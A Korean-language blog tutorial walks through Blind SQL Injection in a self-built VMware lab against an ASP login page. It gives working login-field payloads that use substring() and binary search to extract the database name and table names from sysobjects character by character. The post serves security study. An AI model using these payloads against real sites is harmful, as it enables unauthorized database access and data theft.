실습 환경 구축
- VMware에서 Window 2000 웹서버(Victim), Window7(Attacker)를 설치하여 실습하였다.
- 웹서버에는 기본적인 ASP 웹 페이지를 구성하였다.
Blind SQL Injection 개념
- 서버에서 내부 오류 메시지를 외부에 공개되지 않도록 구성한 경우 Type 변환 오류 메시지를 사용한 Database 구조 파악은 불가능하다.
- 이 경우 substring()을 사용하여 문자열의 특정 문자열을 한 글자씩 찾아가는 Blind SQL Injection 공격을 시도해 볼 수 있다.
- Query 결과에 따른 서버의 참과 거짓 반응을 통해 공격을 수행한다 따라서 Target 사이트에서 참과 거짓을 구분할 수 있는 페이지가 존재해야 한다.
1) 참과 거짓을 구분할 수 있는 페이지가 존재하는지 확인
- SQL Injection을 통해 참과 거짓을 구분할 수 있는지 확인한다.
1.1) True 값으로 인증 시도
- 정상적으로 인증이 되는 것을 확인할 수 있다.
1.2) False 값으로 인증 시도
- 거짓으로 인식하여 로그인 실패 알람이 뜨는 것을 확인할 수 있다.
2) substring() 함수 사용
- SubSrting 함수는 특정 문자열을 지정해서 해당 문자열을 자를 때 사용한다.
2.1) substring() 사용 방법
substring(자를 문자열, 자를 문자의 시작점, 자를 문자의 개수) |
use webhack;
select substring(db_name(), 1, 2)
- webhack(db_name())이란 이름을 첫 번째 글자부터 2개의 문자를 자르므로 we가 출력된다.
3) SubString()을 활용하여 DB 이름의 글자 수 확인
- DB이름을 알아내기 이전에 몇 글자인지 파악하여 더욱 손쉽게 DB이름을 알아내려고 한다.
3.1) Query문에서 확인
- 문자의 시작 지점을 1씩 증가하면서 int형 0과 비교한다.
- DB이름은 문자열 이므로 해당 위치에 문자열이 있다면 형 변환 에러(False)가 발생한다.
- 8번째 문자는 존재하지 않기 때문에 0 이반 환(True)되어서 출력이 된다.
- DB이름이 총 7 글자인 것을 확인할 수 있다.
3.2) Web Browser에서 확인
- 두 번째 문자열과 정수형을 비교하면 DB이름이 2글자 이상이므로 에러 페이지가 출력된다.
ID: peemang' and substring(db_name(), 2, 1) = 0--
PW: Anything
- 8번째 문자열 항목과 DB이름을 비교하면 DB이름이 7자이므로 로그인 인증 처리된다.
ID: peemang' and substring(db_name(), 8, 1) = 0--
PW: Anything
4.1) SubString()을 활용하여 DB 이름 알아내기
4.1) Query문에 적용
- 사용자 ID가 Peemang(True)이고 DB이름(Webhack)에 w가 들어가므로 peemang ID의 정보가 출력된다.
use webhack;
select user_id, user_pw, name, email, homepage
from member
where user_id='peemang' and substring(db_name(), 1, 1) = 'w'
4.2) Web Browser에 적용
- substring() = '알파벳' A부터 항목을 하나씩 대입해서 DB이름의 첫 번째 글자를 확인한다.
ID: peemang' and substring(db_name(), 1, 1) = 'w'--
PW: Anyting
- DB이름의 2번째 문자는 'e'라는 것을 확인할 수 있다.
ID: peemang' and substring(db_name(), 2, 1) = 'e'--
PW: Anything
5) Binary Search 사용
- 계속 문자열 시작 위치를 변경하면서 알파벳을 반복해서 대입하면 모든 DB이름을 확인할 수 있다.
- 알파벳을 하나씩 대입할 경우 반복 횟수가 많아진다는 단점이 있다.
- 이를 해결하기 위해서 이분 탐색(Binary Search)을 사용한다.
5.1) Web Browser에 적용
- 3번째 글자가 알파벳 m보다 큰지 확인한 후 로그인 에러 페이지가 발생된 결과를 통해서 3번째 글자가 m이하인 것을 확인할 수 있다.
- 따라서 m ~ z까지의 탐색을 하지 않아도 된다. (탐색 횟수의 감소)
ID: peemang' and substring(db_name(), 3, 1) < 'm'--
PW: Anyting
- 3번째 글자가 알파벳 'c'보다 작은지 확인한다.
ID: peemang' and substring(db_name(), 3, 1) < 'c'--
PW: Anything
- 인증이 완료된 결과를 통해서 3번째 글자는 a 또는 b인 것을 확인할 수 있다.
6) SubString()을 활용하여 Table 이름 알아내기
- 사용자 테이블 이름은 sysobjects라는 시스템 테이블을 사용한다.
- name 순으로 정렬 후 이름을 비교하는 방식을 사용한다.
- DB이름 찾는 방식과 동일하게 테이블의 이름의 크기를 알아낸 후 찾으면 더욱 효율적이다.
6.1) 첫 번째 Table 길이 파악하기
- 5번째 항목은 에러 페이지 6번째 페이지는 인증이 완료된 것으로 보아 테이블의 길이가 5 글자인 것을 확인할 수 있다.
ID: peemang' and substring((select top 1 name from sysobjects where type='U' order by name),5,1)=0--
PW: Anything
ID: peemang' and substring((select top 1 name from sysobjects where type='U' order by name),6,1)=0--
PW: Anything
6.2) 첫 번째 Table 이름 파악하기
- 알파벳을 순서대로 하나씩 대입하는 방법도 있지만 효율적인 탐색을 위해 Binary Search를 사용한다.
- 해당 질의문이 인증이 되는 걸로 보아 첫 번째 알파벳이 a 부터 l 사이인 것을 확인할 수 있다.
ID: peemang' and substring((select top 1 name from sysobjects where type='U' order by name),1,1) < 'm'--
PW: Anything
- c는 인증이 완료되고 b는 false값을 출력하는 것으로 보아 첫 번째 테이블 글자는 b인 것을 확인할 수 있다.
- 이와 같은 방법으로 5번째 글자까지 찾으면 테이블 명을 확인할 수 있다.
ID: peemang' and substring((select top 1 name from sysobjects where type='U' order by name),1,1) < 'b'--
ID: peemang' and substring((select top 1 name from sysobjects where type='U' order by name),1,1) < 'c'--
- Column명과 안의 Data를 확인하고 싶다면 해당 사이트에서 함수를 테이블을 찾는 방식과 동일하게 SubString() 안에 넣어주면 된다.
'Hacking & Security > Web Hacking & Security' 카테고리의 다른 글
XSpear (XSS Scanner) 사용 방법 (0) | 2020.12.06 |
---|---|
[Web Hacking & Security] Stored Procedure를 이용한 공격 및 방어 (0) | 2020.01.07 |
[Web Hacking & Security] SQL Injection을 통한 Database Schema 파악 (0) | 2020.01.06 |
[Web Hacking & Security] SQL Injection 공격 (0) | 2020.01.06 |
[Web Hacking & Security] CSRF (Cross Site Request Forgery) 공격 (0) | 2020.01.03 |
공부&일상 블로그
포스팅이 좋았다면 "좋아요❤️" 또는 "구독👍🏻" 해주세요! 질문은 언제나 환영입니다😊